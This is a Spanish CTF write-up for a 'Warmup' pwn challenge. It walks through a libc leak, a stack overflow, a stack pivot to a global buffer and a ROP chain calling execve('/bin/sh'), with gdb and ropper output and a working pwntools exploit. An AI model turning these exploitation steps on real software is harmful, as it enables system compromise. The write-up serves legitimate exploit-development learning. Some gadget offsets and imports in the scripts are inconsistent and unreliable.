xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



Campo de Marte

Warmup



Reversing


Si ejecutamos el binario nos muestra una dirección en x64 que por ahora no sabemos que es y nos muestra un prompt probablemente para enviar una posible entrada

❯ ./warmup
0x7b8f28087bd0  
name>>

La unica función existente es la main, esta inicia llamando a printf mostrando en formato %p como puntero la dirección de la función puts cargada en memoria

Podemos comprobarlo desde gdb, corremos y comprobamos que la dirección mostrada es la de puts cargada desde libc, entonces podemos obtener un leak

❯ gdb -q warmup
Reading symbols from warmup...
(No debugging symbols found in warmup)
pwndbg> r
Starting program: /home/user/warmup
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".  
0x7ffff7c87bd0
name>> ^C  
Program received signal SIGINT, Interrupt.
0x00007ffff7d1ba61 in read () from ./libc.so.6
pwndbg> x/i 0x7ffff7c87bd0
   0x7ffff7c87bd0 <puts>:	endbr64
pwndbg>

Si le restamos el offset de puts deberiamos obtener la dirección base de libc

❯ libcdb file libc.so.6
[*] libc.so.6
    Version:     2.39
    BuildID:     08134323d00289185684a4cd177d202f39c2a5f3
    MD5:         c0b86652995f86fa7bf131547f8105c5
    SHA1:        e718addc37dff7ca12d61430c9865ce13166178d
    SHA256:      fc4c52f3910ed57a088d19ab86c671358f5e917cd4e95b21fd08e4fd922c0aa2  
    Symbols:
        __libc_start_main_ret = 0x2a1ca
                         dup2 = 0x116960
                       printf = 0x600f0
                         puts = 0x87bd0
                         read = 0x11ba50
                   str_bin_sh = 0x1cb42f
                       system = 0x58740
                        write = 0x11c560

Podemos automatizar todo este proceso desde un exploit en python, recibimos la dirección y le restamos el offset para obtener libc base para usarla después

#!/usr/bin/python3
from pwn import gdb

shell = gdb.debug("./warmup", "continue")

libc_base = int(shell.recvline().strip(), 16) - 0x87bd0  
log.info(f"Libc base: {hex(libc_base)}")

shell.interactive()

Al ejecutar el exploit nos muestra la dirección que calculamos de libc base y si la comparamos con lo que nos devuelve gdb del proceso actual es la misma

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 313643
[*] running in new terminal: ['/usr/bin/gdb', '-q', './warmup']  
[*] Libc base: 0x70c153c00000
[*] Switching to interactive mode
name>> $

^C
Program received signal SIGINT, Interrupt.
0x000070c153d1ba61 in read () from ./libc.so.6
pwndbg> vmmap libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
          0x404000           0x405000 rw-p     1000   5000 /home/user/warmup
►   0x70c153c00000     0x70c153c28000 r--p    28000      0 /home/user/libc.so.6
►   0x70c153c28000     0x70c153db0000 r-xp   188000  28000 /home/user/libc.so.6
►   0x70c153db0000     0x70c153dff000 r--p    4f000 1b0000 /home/user/libc.so.6
►   0x70c153dff000     0x70c153e03000 r--p     4000 1fe000 /home/user/libc.so.6
►   0x70c153e03000     0x70c153e05000 rw-p     2000 202000 /home/user/libc.so.6
    0x70c153e62000     0x70c153e63000 r--p     1000      0 /home/user/ld-2.39.so  
pwndbg>

Siguiendo con el desensamblado ahora muestra con printf un prompt y recibe un total de 0x200 o 512 bytes en la variable global name utilizando la función fgets

Podemos verificarlo enviando 80 A's, al enviarlas a la variable name, detenemos el debugger y en la dirección 0x404060 podemos ver que contiene nuestro input

❯ python3 -q
>>> b"A" * 80
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'  
>>>

name>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
alright>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7d1ba61 in read () from ./libc.so.6
pwndbg> x/s &name
0x404060 <name>:	'A' <repetidos 80 veces>
pwndbg>

Finalmente llama a printf para mostrar otro prompt que igual recibe datos con fgets en la variable rbp - 64, recibe 0x58 o 88, es mas de lo que soporta


Explotación


Iniciamos mirando las protecciones con checksec, este binario solo tiene activada la protección NX que nos impedirá ejecutar shellcode directamente en el stack

❯ checksec warmup
[*] '/home/user/warmup'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)  

Podemos crear un payload, enviaremos 64 A's para rellenar el buffer antes de rbp, 8 B's que seran el valor de rbp en el leave y 8 C's que tomaran el valor del return address, y finalmente algunas D's que simplemente se guardarán en el stack

❯ python3 -q
>>> b"A" * 64 + b"B" * 8 + b"C" * 8 + b"D" * 24
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDD'  
>>>

Iniciamos con los problemas, debido a la limitación de espacio aunque enviamos un total de 24 D's solo vemos representadas 8, esto es muy poco ya que es probable que necesitemos hacer ROP debido al NX, por lo que debemos hacer un stack pivot a otro lugar con mas espacio, afortunadamente el primer payload sabemos que se almacena estaticamente en la dirección 0x404060 y tenemos 0x200 de espacio

alright>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDD  
okey

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401281 in main ()
pwndbg> p/x $rbp
$1 = 0x4242424242424242
pwndbg> x/gx $rsp
0x7fffffffe2d8:	0x4343434343434343
pwndbg> x/s $rsp + 8
0x7fffffffe2e0:	"DDDDDDD"
pwndbg>

Entonces, enviamos en el segundo payload el offset hasta el valor de rbp y en el valor de rbp enviamos la dirección 0x404060 de la variable name, luego ejecutamos un leave; ret; para hacer el stack pivot al payload1 donde enviamos algunos bytes

#!/usr/bin/python3
from pwn import gdb, p64

shell = gdb.debug("./warmup", "b *0x401281\ncontinue")

libc_base = int(shell.recvline().strip(), 16) - 0x87bd0  

payload1  = b""
payload1 += b"A" * 8
payload1 += b"B" * 8
payload1 += b"C" * 24

payload2  = b""
payload2 += b"A" * 64                # offset
payload2 += p64(0x404060)            # payload1
payload2 += p64(libc_base + 0x299d2) # leave; ret;

shell.sendlineafter(b">>", payload1)
shell.sendlineafter(b">>", payload2)

shell.recvline()

Al llegar al Breakpoint de la instrucción ret, rbp tiene como valor 0x404060, la siguiente instrucción a ejecutarse será leave; ret;, la instrucción leave equivale a mov rsp, rbp; pop rbp; entonces cuando se ejecute el mov el rsp apuntará a 0x404060 y al ejecutar el pop quitará 8 bytes en este caso las A's de payload1

Breakpoint 1, 0x0000000000401281 in main ()
pwndbg> x/i $rip
=> 0x401281 <main+167>:	ret
pwndbg> x/s $rbp
0x404060 <name>:	"AAAAAAAABBBBBBBB", 'C' <repetidos 24 veces>  
pwndbg> x/2i *(long long *)($rsp)
   0x7acdc4a299d2 <warn+184>:	leave
   0x7acdc4a299d3 <warn+185>:	ret
pwndbg>

Cuando ejecuta ese leave; ret; ahora rbp tomó el valor de las A's y la dirección de retorno son las B's, y afortunadamente en el stack se ven representadas todas las C's por lo que ahora deberiamos tener espacio suficiente para un buen ropchain

pwndbg> c
Continuando.

Program received signal SIGSEGV, Segmentation fault.  
0x00007acdc4a299d3 in warn () from ./libc.so.6
pwndbg> x/i $rip
=> 0x7acdc4a299d3 <warn+185>:	ret
pwndbg> p/x $rbp
$2 = 0x4141414141414141
pwndbg> x/gx $rsp
0x404068 <name+8>:	0x4242424242424242
pwndbg> x/s $rsp+8
0x404070 <name+16>:	'C' <repetidos 24 veces>
pwndbg>

Ya que modificamos el stack al llamar a system tendremos problemas, entonces haremos un ropchain con execve, para ello necesitamos almacenar en rax el syscall 0x3b, en rdi el primer argumento que es la referencia a /bin/sh, finalmente en rsi y rdx el segundo y tercer argumento que podemos establecer en NULL

❯ ropper --file libc.so.6 --console
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(libc.so.6/ELF/x86_64)> search pop rax; ret;  
[INFO] Searching for gadgets: pop rax; ret;

[INFO] File: libc.so.6
0x00000000000dd237: pop rax; ret;

(libc.so.6/ELF/x86_64)> search pop rdi; ret;  
[INFO] Searching for gadgets: pop rdi; ret;

[INFO] File: libc.so.6
0x000000000010f75b: pop rdi; ret;

(libc.so.6/ELF/x86_64)> search pop rsi; ret;  
[INFO] Searching for gadgets: pop rsi; ret;

[INFO] File: libc.so.6
0x0000000000110a4d: pop rsi; ret;

(libc.so.6/ELF/x86_64)> search pop rdx; ret;  
[INFO] Searching for gadgets: pop rdx; ret;

(libc.so.6/ELF/x86_64)>

Aunque no encontramos un pop rdx encontramos un gadget perfecto que mueve a rdx el valor de rsi que establecimos a 0, luego ejecuta un xor esi, esi y al final un syscall que es lo que queremos para llamar a execve("/bin/sh", NULL, NULL)

(libc.so.6/ELF/x86_64)> search mov rdx, rsi; %; syscall
[INFO] Searching for gadgets: mov rdx, rsi; %; syscall

[INFO] File: libc.so.6
0x000000000011b71f: mov rdx, rsi; xor esi, esi; syscall;  

(libc.so.6/ELF/x86_64)>

Nuestro exploit final en payload2 rellena con A's el offset y luego ejecuta un stack pivot hacia el payload1 donde ejecuta nuestro ropchain que nos devuelve una shell

#!/usr/bin/python3
from pwn import process, p64

shell = process("./warmup")

libc_base = int(shell.recvline().strip(), 16) - 0x87bd0

payload1  = b""
payload1 += b"A" * 8                  # padding for leave
payload1 += p64(libc_base + 0x0dd237) # pop rax; ret;
payload1 += p64(0x3b)                 # execve()
payload1 += p64(libc_base + 0x10f75b) # pop rdi; ret;
payload1 += p64(libc_base + 0x1cb42f) # "/bin/sh"
payload1 += p64(libc_base + 0x110b7c) # pop rsi; ret;
payload1 += p64(0x0)                  # NULL
payload1 += p64(libc_base + 0x11b71f) # mov rdx, rsi; syscall;  

payload2  = b""
payload2 += b"A" * 64                 # offset
payload2 += p64(0x404060)             # payload1
payload2 += p64(libc_base + 0x0299d2) # leave; ret;

shell.sendlineafter(b">>", payload1)
shell.sendlineafter(b">>", payload2)

shell.recvline()
shell.interactive()

❯ python3 exploit.py
[+] Starting local process './warmup': pid 317476  
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$